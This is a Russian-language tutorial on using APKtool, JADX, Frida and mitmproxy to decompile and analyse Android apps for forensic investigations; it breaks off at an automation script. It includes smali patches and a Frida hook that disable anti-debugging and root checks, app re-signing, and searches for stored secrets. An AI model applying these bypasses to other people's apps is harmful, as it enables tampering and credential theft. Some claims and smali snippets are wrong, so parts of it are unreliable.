Изображение

Введение


В современной цифровой криминалистике мобильные устройства стали одним из основных источников улик. Android-приложения содержат огромный массив данных о действиях пользователей, его контактах, сообщениях, местоположении и поведенческих паттернах. Однако стандартные инструменты мобильной форензики могут извлекать далеко не всю информацию. Для проведения глубокого анализа, выявления скрытых функций, обнаружения уязвимостей и восстановления важных данных требуется декомпиляция APK файлов.

APKtool - это профессиональный инструмент, который позволяет экспертам разобрать Android-приложение на составные части, просмотреть исходный код, проанализировать ресурсы и понять внутреннюю логику работы приложения. В расследованиях киберпреступлений, нарушения конфиденциальности, утечек данных и других инцидентов, связанных с мобильными приложениями, декомпиляция APK становится критически важным навыком.

Современные вредоносные программы для Android часто используют обфускацию кода, шифрование строк и антиотладочные техники. APKtool в сочетании с другими инструментами позволяет экспертам обойти эти защитные механизмы и получить доступ к скрытым данным. Кроме того, анализ APK файлов помогает выявлять подозрительные разрешения приложений, сетевые запросы к небезопасным серверам и потенциальные уязвимости безопасности.

В этом руководстве мы рассмотрим все аспекты работы с APKtool: от установки и базовых операций до продвинутых техник анализа и автоматизации. Вы узнаете, как извлекать исходный код из APK, анализировать манифест приложения, изучать ресурсы, восстанавливать удаленные данные и использовать полученные результаты в расследованиях.

Содержание


1. Что такое APK и почему он важен для расследований
2. Обзор APKtool и его альтернатив
3. Установка и настройка окружения
4. Базовые операции декомпиляции
5. Анализ AndroidManifest.xml
6. Изучение ресурсов приложения
7. Анализ исходного кода (SMALI и DEX)
8. Работа с базами данных и файлами
9. Обфускация и антиотладочные техники
10. Продвинутые методы анализа
11. Автоматизация и скрипты
12. Практические кейсы расследований
13. Этические и правовые аспекты
14. FAQ
15. Заключение

---

1. Что такое APK и почему он важен для расследований


Структура APK файла


APK (Android Package) - это архивный файл формата ZIP, который содержит все необходимые компоненты Android-приложения. Понимание структуры APK является фундаментом для успешной декомпиляции и анализа.

**Основные компоненты APK:**

1. **AndroidManifest.xml** - манифест приложения, содержащий информацию о разрешениях, компонентах, версии API и других метаданных
2. **classes.dex** - скомпилированный байт-код Java-приложения в формате Dalvik
3. **resources.arsc** - скомпилированные ресурсы (строки, цвета, размеры, стили)
4. **res/** - нескомпилированные ресурсы (изображения, XML-файлы layouts, меню)
5. **assets/** - дополнительные файлы без компиляции (базы данных, конфиги, HTML)
6. **lib/** - нативные библиотеки (so-файлы для различных архитектур ARM, x86)
7. **META-INF/** - подписи приложения и сертификаты

Почему APK важен в расследованиях


В современных расследованиях, связанных с мобильными устройствами, APK файлы предоставляют уникальные возможности:

**Источник цифровых улик:**
- История операций и транзакций в финансовых приложениях
- Архивы сообщений в мессенджерах и социальных сетях
- Контакты, геолокации и маршруты перемещений
- Логи общения в приложениях знакомств
- Данные о вызовах, SMS и MMS

**Выявление подозрительной активности:**
- Скрытые функции и backdoor-доступы
- Нелегитимные сбор и передача данных
- Подключение к небезопасным или подозрительным серверам
- Нарушение политики конфиденциальности
- Использование уязвимостей безопасности

**Анализ вредоносного ПО:**
- Механизмы обхода антивирусного ПО
- Техники obfuscation и anti-debugging
- Механизмы persistence и privilege escalation
- Command & Control (C2) инфраструктура

---

2. Обзор APKtool и его альтернатив


APKtool: основной инструмент


APKtool - это самый мощный и популярный инструмент для декомпиляции и рекомпиляции APK файлов. Разработанный группой re-droid, он является стандартом де-факто в сообществе Android reversers и mobile forensics.

**Основные возможности:**
- Декомпиляция resources.arsc и AndroidManifest.xml в читаемые форматы
- Преобразование DEX в SMALI (читаемый ассемблер для Android)
- Рекомпиляция декомпилированного кода обратно в APK
- Обработка обфусцированного кода и ресурсов
- Поддержка последних версий Android SDK

**Преимущества:**
- Активное сообщество и постоянные обновления
- Подробная документация и множество туториалов
- Интеграция с другими инструментами
- Кроссплатформенность (Windows, Linux, macOS)

**Недостатки:**
- Работа через командную строку (нет GUI)
- Требует базовых знаний Java и Android разработки
- Может быть медленным для больших APK файлов

Альтернативные инструменты


**1. JADX - декомпилятор DEX в Java**
- Прямая декомпиляция в читаемый Java код
- Графический интерфейс для удобного навигация
- Быстрая работа даже с большими APK
- Возможность поиска по коду и экспорта

**2. Dex2jar + JD-GUI**
- Преобразование DEX в JAR файл
- Просмотр Java-кода через JD-GUI
- Устаревшая, но все еще используемая техника
- Часто дает неточные результаты

**3. APK Easy Tool**
- Графический интерфейс для APKtool
- Упрощенная работа для начинающих
- Автоматизация базовых операций
- Ограниченная функциональность

**4. Android Studio + APK Analyzer**
- Встроенный в IDE инструмент анализа
- Визуализация структуры APK
- Анализ размеров и зависимостей
- Ограниченные возможности декомпиляции

**5. Bytecode Viewer**
- Универсальный декомпилятор Java/DEX
- Поддержка множества декомпиляторов
- Расширяемая платформенная архитектура
- Изучение bytecode в разных форматах

---

3. Установка и настройка окружения


Установка на Windows


**Вариант 1: Прямая установка APKtool**

1. Скачайте последнюю версию APKtool с официального сайта
2. Скачайте wrapper скрипт apktool.bat
3. Скачайте последнюю версию apktool.jar
4. Поместите оба файла в одну папку (например, C:\Tools\apktool\)
5. Добавьте папку в PATH переменную окружения

**Команды для установки:**

bash
<h2 id="sozdayte-direktoriyu-dlya-instrumentov">Создайте директорию для инструментов</h2>
mkdir C:\Tools\apktool
cd C:\Tools\apktool

<h2 id="skachayte-apktool-bat-i-apktool-jar">Скачайте apktool.bat и apktool.jar</h2>
<h2 id="pomestite-ih-v-etu-direktoriyu">Поместите их в эту директорию</h2>

<h2 id="dobavte-v-path-cherez-sistemnye-nastroyki">Добавьте в PATH через системные настройки</h2>
<h2 id="ili-ispolzuyte-setx">Или используйте setx:</h2>
setx /M PATH "%PATH%;C:\Tools\apktool"

<h2 id="proverte-ustanovku">Проверьте установку</h2>
apktool d test.apk


**Вариант 2: Использование Chocolatey**

bash
<h2 id="ustanovite-chocolatey-esli-ne-ustanovlen">Установите Chocolatey (если не установлен)</h2>
<h2 id="zatem">Затем:</h2>
choco install apktool -y


Установка на Linux


**Ubuntu/Debian:**

bash
<h2 id="dobavte-repozitoriy">Добавьте репозиторий</h2>
sudo add-apt-repository ppa:maarten-fonville/android-build-tools
sudo apt-get update

<h2 id="ustanovite-apktool">Установите APKtool</h2>
sudo apt-get install apktool

<h2 id="proverte-ustanovku">Проверьте установку</h2>
apktool --version


**Архивная установка:**

bash
<h2 id="skachayte-poslednyuyu-versiyu">Скачайте последнюю версию</h2>
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.x.x.jar

<h2 id="sdelayte-ispolnyaemym">Сделайте исполняемым</h2>
chmod +x apktool_2.x.x.jar

<h2 id="peremestite-v-sistemnuyu-direktoriyu">Переместите в системную директорию</h2>
sudo mv apktool_2.x.x.jar /usr/local/bin/apktool.jar

<h2 id="sozdayte-skript-obolochku">Создайте скрипт оболочку</h2>
echo '#!/bin/bash' | sudo tee /usr/local/bin/apktool
echo 'java -jar /usr/local/bin/apktool.jar "$@"' | sudo tee -a /usr/local/bin/apktool
sudo chmod +x /usr/local/bin/apktool


Установка на macOS


bash
<h2 id="ispolzuya-homebrew">Используя Homebrew</h2>
brew install apktool

<h2 id="ili-skachayte-vruchnuyu">Или скачайте вручную</h2>
<h2 id="skachayte-apktool-jar-i-wrapper-skript-s-github">Скачайте apktool.jar и wrapper скрипт с GitHub</h2>
<h2 id="pomestite-v-usr-local-bin-i-sdelayte-ispolnyaemymi">Поместите в /usr/local/bin/ и сделайте исполняемыми</h2>


Настройка Java


APKtool требует Java Runtime Environment (JRE) версии 8 или выше.

**Проверка Java:**

bash
java -version


**Установка Java на Windows:**
- Скачайте Oracle JDK или OpenJDK с официального сайта
- Или используйте: `choco install openjdk`

**Установка Java на Linux:**
bash
sudo apt-get install default-jre


**Установка Java на macOS:**
bash
brew install openjdk


Дополнительные инструменты


Для комплексного анализа APK рекомендуется установить:

**1. JADX:**
bash
<h2 id="linux">Linux</h2>
wget https://github.com/skylot/jadx/releases/download/v1.4.7/jadx-1.4.7.zip
unzip jadx-1.4.7.zip

<h2 id="ili-cherez-snap">Или через snap</h2>
snap install jadx


**2. ADB (Android Debug Bridge):**
bash
<h2 id="linux">Linux</h2>
sudo apt-get install android-tools-adb

<h2 id="windows">Windows</h2>
<h2 id="skachayte-android-sdk-platform-tools">Скачайте Android SDK Platform Tools</h2>
<h2 id="ili-choco-install-adb">Или: choco install adb</h2>


**3. 010 Editor:**
- Hex-редактор для анализа binary данных
- Поддержка APK файлов
- Платный, но крайне полезен для экспертов

**4. IDA Pro / Ghidra:**
- Для анализа нативных библиотек (.so файлов)
- Ghidra - бесплатная альтернатива

---

4. Базовые операции декомпиляции


Декомпиляция APK файла


Основная операция в APKtool - это декомпиляция APK файла в структуру папок и файлов.

**Базовая команда:**

bash
apktool d app.apk


Эта команда создаст папку `app` (по имени APK файла) со следующей структурой:
- `AndroidManifest.xml` - декомпилированный манифест
- `apktool.yml` - конфигурационный файл
- `original/` - оригинальные файлы до декомпиляции
- `res/` - ресурсы приложения
- `smali/` - декомпилированный код в формате SMALI

**Указание выходной директории:**

bash
apktool d app.apk -o output_folder


**Сохранение оригинальных файлов:**

bash
<h2 id="po-umolchaniyu-sohranyayutsya-v-original">По умолчанию сохраняются в original/</h2>
apktool d app.apk


**Декомпиляция с сохранением оригинала в файловой системе:**

bash
apktool d app.apk --keep-broken-res


**Форсированная декомпиляция (для поврежденных APK):**

bash
apktool d app.apk --force


**Только ресурсы (без SMALI кода):**

bash
apktool d app.apk --no-src


**Только исходный код (без ресурсов):**

bash
apktool d app.apk --no-res


Рекомпиляция APK файла


После декомпиляции и анализа APK можно рекомпилировать обратно в APK файл.

**Базовая команда рекомпиляции:**

bash
apktool b app


Где `app` - это папка с декомпилированными файлами.

**Указание выходного файла:**

bash
apktool b app -o output.apk


**Рекомпиляция с обработкой ошибок:**

bash
apktool b app --force-all


**Дополнительные опции:**

bash
<h2 id="ispolzovat-aapt2-android-asset-packaging-tool-2">Использовать aapt2 (Android Asset Packaging Tool 2)</h2>
apktool b app --use-aapt2

<h2 id="rekompilirovat-bez-debug-informatsii">Рекомпилировать без debug информации</h2>
apktool b app --no-debug

<h2 id="obrabotat-vse-oshibki">Обработать все ошибки</h2>
apktool b app --force-all --verbose


Подпись APK файла


После рекомпиляции APK файл нужно подписать для установки на устройство.

**1. Генерация keystore:**

bash
keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key-alias


**2. Подпись APK:**

bash
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.jks output.apk my-key-alias


**3. Выравнивание APK (оптимизация):**

bash
zipalign -v 4 output.apk output-aligned.apk


**Альтернативный способ с apksigner (Android SDK):**

bash
apksigner sign --ks my-release-key.jks --ks-key-alias my-key-alias output.apk


Типичные проблемы и решения


**Ошибка: "No resource identifier found"**
bash
<h2 id="reshenie-ispolzuyte-flag-no-res-ili-obnovite-apktool">Решение: Используйте флаг --no-res или обновите APKtool</h2>
apktool d app.apk --no-res


**Ошибка: "Can't find framework resources"**
bash
<h2 id="ustanovite-framework-res-apk">Установите framework-res.apk</h2>
apktool if framework-res.apk


**Ошибка: "Out of memory"**
bash
<h2 id="uvelichte-heap-memory-dlya-java">Увеличьте heap memory для Java</h2>
java -Xmx2048m -jar apktool.jar d app.apk


---

5. Анализ AndroidManifest.xml


Структура манифеста


AndroidManifest.xml - это ключевой файл любого Android-приложения. Он определяет структуру, компоненты, разрешения и поведение приложения.

**Основные секции манифеста:**

xml
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.example.app"
android:versionCode="1"
android:versionName="1.0">

<!-- Разрешения приложения -->
<uses-permission ... />

<!-- Компоненты приложения -->
<application ...>
<!-- Activities -->
<activity ... />

<!-- Services -->
<service ... />

<!-- Broadcast Receivers -->
<receiver ... />

<!-- Content Providers -->
<provider ... />
</application>
</manifest>


Критически важные разрешения


В криминалистических расследованиях особое внимание следует уделять разрешениям, которые могут указывать на подозрительную активность:

**READ_SMS / RECEIVE_SMS** - доступ к SMS сообщениям
**READ_CONTACTS** - доступ к контактам
**ACCESS_FINE_LOCATION** - точное местоположение
**READ_CALENDAR** - доступ к календарю
**READ_CALL_LOG** - доступ к истории вызовов
**CAMERA / RECORD_AUDIO** - доступ к камере/микрофону
**INTERNET** - сетевая активность
**READ_EXTERNAL_STORAGE** - доступ к файлам
**GET_TASKS** - информация о запущенных приложениях

Подозрительные паттерны


**1. Избыточные разрешения:**
Приложение мессенджера запрашивает доступ к камере, но не имеет функции съемки фото - потенциально используется для слежки.

**2. Скрытые компоненты:**
Компоненты с `android:exported="false"` могут предоставлять backdoor доступ через уязвимости.

**3. Нестандартные процессы:**
Запуск компонентов в отдельных процессах может использоваться для сокрытия активности.

**4. Intent Filters для сторонних приложений:**
Низкоуровневые Intent Filters могут быть использованы для intercepting данных.

Анализ манифеста в практике


**Команда для декомпиляции манифеста:**

bash
apktool d app.apk
cat app/AndroidManifest.xml


**Извлечение только манифеста:**

bash
<h2 id="ispolzuya-aapt-android-asset-packaging-tool">Используя aapt (Android Asset Packaging Tool)</h2>
aapt dump xmltree app.apk AndroidManifest.xml

<h2 id="ili-s-ispolzovaniem-unzip-apk-eto-zip">Или с использованием unzip (APK это ZIP)</h2>
unzip -p app.apk AndroidManifest.xml | xmllint --format -


**Автоматический анализ разрешений:**

bash
<h2 id="sozdayte-skript-analyze-permissions-sh">Создайте скрипт analyze_permissions.sh</h2>
#!/bin/bash
aapt dump permissions "$1" | grep -E "(uses-permission|permission)" | sort -u


**Интерпретация результатов:**

При анализе разрешений в расследовании мошенничества с финансовым приложением обнаружены следующие подозрительные разрешения:
- `READ_SMS` - могут перехватывать SMS с банковскими кодами
- `RECEIVE_SMS` - автоматическая обработка SMS
- `BIND_ACCESSIBILITY_SERVICE` - может читать содержимое экрана
- `SYSTEM_ALERT_WINDOW` - отображение поверх других приложений (potential overlay attack)

---

6. Изучение ресурсов приложения


Структура папки res/


Ресурсы приложения содержат огромное количество информации, которую можно использовать в расследованиях.

**Основные типы ресурсов:**

1. **res/values/strings.xml** - строковые ресурсы
2. **res/layout/** - XML layouts для UI
3. **res/drawable/** - изображения, иконки
4. **res/mipmap/** - иконки приложения
5. **res/xml/** - дополнительные XML конфигурации
6. **res/raw/** - бинарные файлы
7. **res/anim/** - анимации
8. **res/menu/** - меню приложения

Анализ строковых ресурсов


Строковые ресурсы могут содержать:
- API endpoints
- Конфигурационные ключи
- Тексты ошибок и сообщений
- API keys и credentials
- Скрытые функции и флаги

**Извлечение строк:**

bash
<h2 id="iz-dekompilirovannogo-apk">Из декомпилированного APK</h2>
cat app/res/values/strings.xml

<h2 id="iz-skompilirovannogo-apk">Из скомпилированного APK</h2>
aapt dump strings app.apk


**Поиск подозрительных строк:**

bash
<h2 id="poisk-api-endpoints">Поиск API endpoints</h2>
grep -r "https://" app/res/values/

<h2 id="poisk-api-keys">Поиск API keys</h2>
grep -r "api_key\|secret\|token" app/res/values/

<h2 id="poisk-email-adresov">Поиск email адресов</h2>
grep -rE "[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}" app/res/


Анализ изображений и медиа


**Извлечение изображений:**

bash
<h2 id="raspakovat-apk">Распаковать APK</h2>
unzip app.apk -d extracted/

<h2 id="prosmotret-izobrazheniya">Просмотреть изображения</h2>
find extracted/res/ -name "*.png" -o -name "*.jpg"


**Анализ метаданных изображений:**

bash
<h2 id="ustanovite-exiftool">Установите exiftool</h2>
sudo apt-get install libimage-exiftool-perl

<h2 id="izvlekite-metadannye">Извлеките метаданные</h2>
exiftool extracted/res/drawable/logo.png


Анализ баз данных в assets/


Многие приложения хранят базы данных SQLite в папке `assets/`.

**Поиск баз данных:**

bash
find app/assets/ -name "*.db" -o -name "*.sqlite"


**Извлечение и анализ:**

bash
<h2 id="izvlekite-bazu-dannyh">Извлеките базу данных</h2>
cp app/assets/database.db /tmp/

<h2 id="analiz-s-sqlite">Анализ с SQLite</h2>
sqlite3 /tmp/database.db

<h2 id="prosmotr-tablits">Просмотр таблиц</h2>
.tables

<h2 id="prosmotr-shemy-tablitsy">Просмотр схемы таблицы</h2>
.schema users

<h2 id="poisk-dannyh">Поиск данных</h2>
SELECT * FROM users WHERE username LIKE '%admin%';


Скрытые файлы и конфигурации


**Поиск конфигурационных файлов:**

bash
find app/ -name "*.json" -o -name "*.xml" -o -name "*.properties"


**Анализ XML конфигураций:**

bash
<h2 id="proverka-content-providers">Проверка content providers</h2>
cat app/res/xml/file_paths.xml

<h2 id="proverka-network-security-config">Проверка network security config</h2>
cat app/res/xml/network_security_config.xml


---

7. Анализ исходного кода (SMALI и DEX)


SMALI формат


SMALI - это читаемый ассемблер для Android Dalvik bytecode. Понимание SMALI необходимо для глубокого анализа кода.

**Базовая структура SMALI класса:**

smali
.class public Lcom/example/MainActivity;
.super Landroid/app/Activity;

<h2 id="metod-mainactivity">Метод MainActivity</h2>
.method public constructor <init>()V
.locals 0

invoke-direct {p0}, Landroid/app/Activity;-><init>()V

return-void
.end method

<h2 id="metod-oncreate">Метод onCreate</h2>
.method protected onCreate(Landroid/os/Bundle;)V
.locals 2

# Загрузить контекст в register v0
iput-object p0, v0, Landroid/app/Activity;->mContext:Landroid/content/Context;

# Вызвать super.onCreate()
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V

return-void
.end method


Основы чтения SMALI


**Регистры:**
- `v0, v1, v2...` - local variables
- `p0, p1, p2...` - parameters (p0 = this)

**Типы данных:**
- `V` - void
- `Z` - boolean
- `B` - byte
- `S` - short
- `I` - int
- `J` - long
- `F` - float
- `D` - double
- `Ljava/lang/String;` - String

**Инструкции:**
- `invoke-virtual` - вызов виртуального метода
- `invoke-static` - вызов статического метода
- `invoke-direct` - вызов конструктора или приватного метода
- `const-string` - присвоение строки
- `return-void` - возврат из void метода
- `return-object` - возврат объекта

Криминалистически значимые фрагменты кода


**1. Подозрительные API вызовы:**

smali
<h2 id="chtenie-sms">Чтение SMS</h2>
invoke-static {p0}, Landroid/provider/Telephony$Sms;->getDefaultSmsPackage(Landroid/content/Context;)Ljava/lang/String;

<h2 id="dostup-k-kontaktam">Доступ к контактам</h2>
invoke-virtual {p0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;

<h2 id="setevaya-aktivnost">Сетевая активность</h2>
invoke-static {}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection;


**2. Обфусцированный код:**

smali
<h2 id="obfustsirovannaya-stroka">Обфусцированная строка</h2>
const-string v0, "68b329da9893e34099c7d8ad5cb9c940"
<h2 id="deobfuskatsiya-eto-md5-hesh-kotoryy-mozhet-skryvat-funktsional">Деобфускация: это MD5 хеш, который может скрывать функционал</h2>


**3. Проверки эмулятора/root:**

smali
<h2 id="proverka-nalichiya-busybox-indicator-of-root">Проверка наличия busybox (indicator of root)</h2>
const-string v0, "busybox"
invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;

<h2 id="proverka-na-emulyator">Проверка на эмулятор</h2>
const-string v0, "ro.kernel.qemu"
sget-object v1, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
invoke-virtual {v0, v1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z


Декомпиляция DEX в Java


**Использование JADX:**

bash
<h2 id="dekompilyatsiya-v-java">Декомпиляция в Java</h2>
jadx -d output app.apk

<h2 id="tolko-dekompilyatsiya-bez-izvlecheniya-resursov">Только декомпиляция без извлечения ресурсов</h2>
jadx --no-res -d output app.apk

<h2 id="eksport-v-proekt-gradle">Экспорт в проект Gradle</h2>
jadx --export-gradle -d output app.apk


**Структура декомпилированного кода:**

output
/
├── sources/
│ └── com/
│ └── example/
│ └── MainActivity.java
├── resources/
│ ├── AndroidManifest.xml
│ └── res/
└── outputs/


Поиск уязвимостей в коде


**1. SQL Injection:**

java
// Уязвимый код
String query = "SELECT * FROM users WHERE id = " + userId;
db.rawQuery(query, null);

// Безопасный код
String query = "SELECT * FROM users WHERE id = ?";
db.rawQuery(query, new String[]{userId});


**2. Hardcoded Credentials:**

java
// Поиск в декомпилированном коде
String apiKey = "sk_live_51H1234567890";


**3. Хранилище паролей в plain text:**

java
// Unsafe storage
String password = editText.getText().toString();
sharedPreferences.edit().putString("password", password).commit();


---

8. Работа с базами данных и файлами


Извлечение баз данных SQLite


Многие Android-приложения используют SQLite для хранения локальных данных. Эти базы данных часто содержат критически важную информацию.

**Поиск баз данных в APK:**

bash
<h2 id="v-assets">В assets/</h2>
find app/assets/ -name "*.db"

<h2 id="v-res-raw">В res/raw/</h2>
find app/res/raw/ -name "*.db"


**Извлечение баз данных:**

bash
<h2 id="raspakuyte-apk">Распакуйте APK</h2>
unzip app.apk -d extracted/

<h2 id="naydite-bazy-dannyh">Найдите базы данных</h2>
find extracted/ -name "*.db" -exec cp {} /tmp/database.db \;

<h2 id="analiz-sqlite">Анализ SQLite</h2>
sqlite3 /tmp/database.db


Анализ базы данных


**Просмотр таблиц:**

sql
.tables


**Просмотр схемы:**

sql
.schema
.schema table_name


**Экспорт данных:**

sql
.mode csv
.output data.csv
SELECT * FROM users;
.output stdout


**Поиск конфиденциальных данных:**

sql
-- Поиск паролей
SELECT * FROM users WHERE password IS NOT NULL;

-- Поиск токенов
SELECT * FROM tokens WHERE value LIKE '%Bearer%';

-- Поиск email адресов
SELECT * FROM contacts WHERE email LIKE '%@%';


Анализ SharedPreferences


SharedPreferences хранятся в XML файлах в `/data/data//shared_prefs/`.

**Извлечение из APK:**

bash
<h2 id="sharedpreferences-mogut-byt-v-assets">SharedPreferences могут быть в assets</h2>
find app/assets/ -name "*.xml"


**Структура XML:**

xml
<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
<string name="username">admin</string>
<string name="password">secret123</string>
<string name="auth_token">Bearer eyJhbGc...</string>
</map>


Анализ файловой системы приложения


**Структура данных приложения:**

text
/data/data/<package>/
├── databases/ # SQLite базы
├── shared_prefs/ # Настройки
├── files/ # Другие файлы
├── cache/ # Кэш
└── lib/ # Нативные библиотеки


**Извлечение из образа устройства:**

Если у вас есть доступ к образу устройства через forensic imaging:

bash
<h2 id="montirovanie-obraza">Монтирование образа</h2>
losetup /dev/loop0 device.img
mount -t ext4 /dev/loop0 /mnt

<h2 id="izvlechenie-dannyh">Извлечение данных</h2>
cp -r /mnt/data/data/com.example.app /tmp/app_data/


Работа с зашифрованными данными


Многие приложения используют шифрование для защиты данных.

**Определение алгоритма шифрования:**

bash
<h2 id="poisk-v-kode">Поиск в коде</h2>
grep -r "Cipher\|AES\|DES\|RSA" app/smali/

<h2 id="poisk-klyuchey">Поиск ключей</h2>
grep -r "getInstance" app/smali/


**Криминалистический анализ:**

1. Определите алгоритм шифрования (AES, RSA, etc.)
2. Найдите ключи в коде
3. Извлеките зашифрованные данные
4. Декриптируйте используя найденные ключи

---

9. Обфускация и антиотладочные техники


Типы обфускации


**1. String Obfuscation (шифрование строк):**
smali
<h2 id="originalnaya-stroka">Оригинальная строка</h2>
const-string v0, "https://api.example.com"

<h2 id="obfustsirovannaya">Обфусцированная</h2>
const-string v0, "86a1b2c3d4e5f6..."
invoke-static {v0}, Lcom/app/Obfuscator;->decrypt(Ljava/lang/String;)Ljava/lang/String;


**Деобфускация:**
- Найдите функцию decrypt
- Проанализируйте алгоритм
- Примените к обфусцированным строкам

**2. Control Flow Obfuscation:**
smali
<h2 id="iskazhenie-potoka-vypolneniya">Искажение потока выполнения</h2>
if-eqz v0, :label1
goto :label2
:label1
goto :label3
:label2
<h2 id="realnyy-kod">реальный код</h2>
:label3


**3. Name Obfuscation:**
java
// Оригинал
public String getUserName() { ... }

// Обфусцированный
public String a() { ... }


Техники anti-debugging


**1. Проверка на отладчик:**
smali
<h2 id="proverka-android-os-debug-isdebuggerconnected">Проверка android.os.Debug.isDebuggerConnected()</h2>
const-string v0, "android.os.Debug"
invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
invoke-static {}, Landroid/os/Debug;->isDebuggerConnected()Z


**2. Проверка на эмулятор:**
smali
<h2 id="build-fingerprint-soderzhit-generic-v-emulyatore">Build.FINGERPRINT содержит &quot;generic&quot; в эмуляторе</h2>
sget-object v0, Landroid/os/Build;->FINGERPRINT:Ljava/lang/String;
invoke-virtual {v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z

<h2 id="proverka-ro-kernel-qemu">Проверка ro.kernel.qemu</h2>
const-string v0, "ro.kernel.qemu"
invoke-static {v0}, Landroid/os/SystemProperties;->get(Ljava/lang/String;)Ljava/lang/String;


**3. Проверка на root:**
smali
<h2 id="busybox">Busybox</h2>
const-string v0, "/system/xbin/busybox"
invoke-virtual {v0}, Ljava/io/File;->exists()Z

<h2 id="superuser-apk">Superuser APK</h2>
const-string v0, "/data/app/com.koushikdutta.superuser-1.apk"
invoke-virtual {v0}, Ljava/io/File;->exists()Z

<h2 id="su-v-path">su в PATH</h2>
invoke-static {}, Ljava/lang/System;->getenv()Ljava/util/Map;
const-string v0, "PATH"
invoke-interface {v1, v0}, Ljava/util/Map;->get(Ljava/lang/Object;)Ljava/lang/Object;
invoke-virtual {v0}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z


Обход защиты


**1. Patches для отключения проверок:**

smali
<h2 id="originalnyy-kod">Оригинальный код</h2>
invoke-static {}, Lcom/anti/Debug;->check()Z
if-eqz v0, :exit

<h2 id="patch-izmenit-na-always-false">Патч - изменить на always false</h2>
const v0, 0x0


**2. Удаление anti-debugging кода:**

Найдите и удалите или закомментируйте функции проверки:
- Debug.isDebuggerConnected
- Проверки на эмулятор
- Проверки на root
- Проверки на frida/xposed

**3. Использование Frida для обхода:**

javascript
// Frida script для обхода isDebuggerConnected
Java.perform(function() {
var Debug = Java.use("android.os.Debug");
Debug.isDebuggerConnected.implementation = function() {
console.log("[*] isDebuggerConnected hook");
return false;
};
});


Инструменты для деобфускации


**1. deGuard (для ProGuard):**
bash
deguard.sh app-obfuscated.apk -m proguard_mapping.txt


**2. jadx с опциями:**
bash
jadx --no-imports --show-bad-code app.apk


**3. JEB Decompiler:**
- Коммерческий, но мощный инструмент
- Автоматическая деобфускация
- Патчинг и рекомпиляция

---

10. Продвинутые методы анализа


Динамический анализ с Frida


Frida - это мощный инструмент для динамического анализа и перехвата вызовов.

**Установка Frida:**

bash
<h2 id="linux">Linux</h2>
pip3 install frida-tools

<h2 id="windows">Windows</h2>
pip install frida-tools


**Базовая загрузка скрипта:**

bash
frida -U -f com.example.app -l script.js


**Перехват вызовов API:**

javascript
// script.js
Java.perform(function() {
// Перехват HTTP запросов
var HttpURLConnection = Java.use("java.net.HttpURLConnection");
HttpURLConnection.getResponseCode.implementation = function() {
var responseCode = this.getResponseCode();
console.log("[HTTP] Response Code: " + responseCode);
return responseCode;
};

// Перехват шифрования
var Cipher = Java.use("javax.crypto.Cipher");
Cipher.doFinal.overload('[B').implementation = function(data) {
var result = this.doFinal(data);
console.log("[CIPHER] Data: " + data);
return result;
};

// Hook логирования
var Log = Java.use("android.util.Log");
Log.d.overload('java.lang.String', 'java.lang.String').implementation = function(tag, msg) {
console.log("[LOG] " + tag + ": " + msg);
return this.d(tag, msg);
};
});


Память forensics


Извлечение и анализ памяти запущенного приложения.

**Извлечение памяти через ADB:**

bash
<h2 id="nayti-pid-protsessa">Найти PID процесса</h2>
adb shell pidof com.example.app

<h2 id="sozdat-damp-pamyati">Создать дамп памяти</h2>
adb shell am dumpheap <pid> /data/local/tmp/heap.hprof

<h2 id="izvlech-dump">Извлечь dump</h2>
adb pull /data/local/tmp/heap.hprof .

<h2 id="analiz-v-mat-memory-analyzer-tool">Анализ в MAT (Memory Analyzer Tool)</h2>


**Анализ памяти с Volatility:**

bash
<h2 id="konvertatsiya-hprof-v-format-volatility">Конвертация hprof в формат Volatility</h2>
python vol.py -f memory.dump android_process_list

<h2 id="poisk-obektov">Поиск объектов</h2>
python vol.py -f memory.dump android_heap


Сетевой анализ


**Перехват трафика с mitmproxy:**

bash
<h2 id="ustanovka">Установка</h2>
pip install mitmproxy

<h2 id="zapusk-proxy">Запуск proxy</h2>
mitmproxy -p 8080

<h2 id="nastroyka-android-ustroystva">Настройка Android устройства</h2>
<h2 id="settings-wifi-proxy-manual">Settings &gt; WiFi &gt; Proxy &gt; Manual</h2>
<h2 id="proxy-ip-adres-kompyutera">Proxy: IP адрес компьютера</h2>
<h2 id="port-8080">Port: 8080</h2>


**Анализ SSL/TLS:**

bash
<h2 id="ustanovka-sertifikata-mitmproxy-na-ustroystvo">Установка сертификата mitmproxy на устройство</h2>
<h2 id="http-mitm-it">http://mitm.it/</h2>

<h2 id="perehvachennyy-trafik-teper-dostupen-v-mitmproxy">Перехваченный трафик теперь доступен в mitmproxy</h2>


Скрытый функционал


Многие приложения имеют скрытые функции, доступные только при определенных условиях.

**Поиск неиспользуемых Activity:**
bash
<h2 id="v-manifeste-naydite-activity-bez-intent-filters">В манифесте найдите Activity без intent filters</h2>
grep -A 10 "activity" app/AndroidManifest.xml


**API endpoints:**
bash
<h2 id="poisk-v-kode">Поиск в коде</h2>
grep -r "http" app/smali/ | grep -v "//"

<h2 id="poisk-v-resursah">Поиск в ресурсах</h2>
grep -r "api\|endpoint\|url" app/res/


**Feature flags:**
java
// Поиск feature flags в коде
if (FeatureFlags.ADMIN_PANEL_ENABLED) {
// скрытый функционал
}


---

11. Автоматизация и скрипты


Скрипт для быстрой декомпиляции


bash
#!/bin/bash
<h2 id="quick-decompile-sh">quick_decompile.sh</h2>

if [ -z "$1" ]; then
echo "Usage: $0 <apk_file>"
exit 1
fi

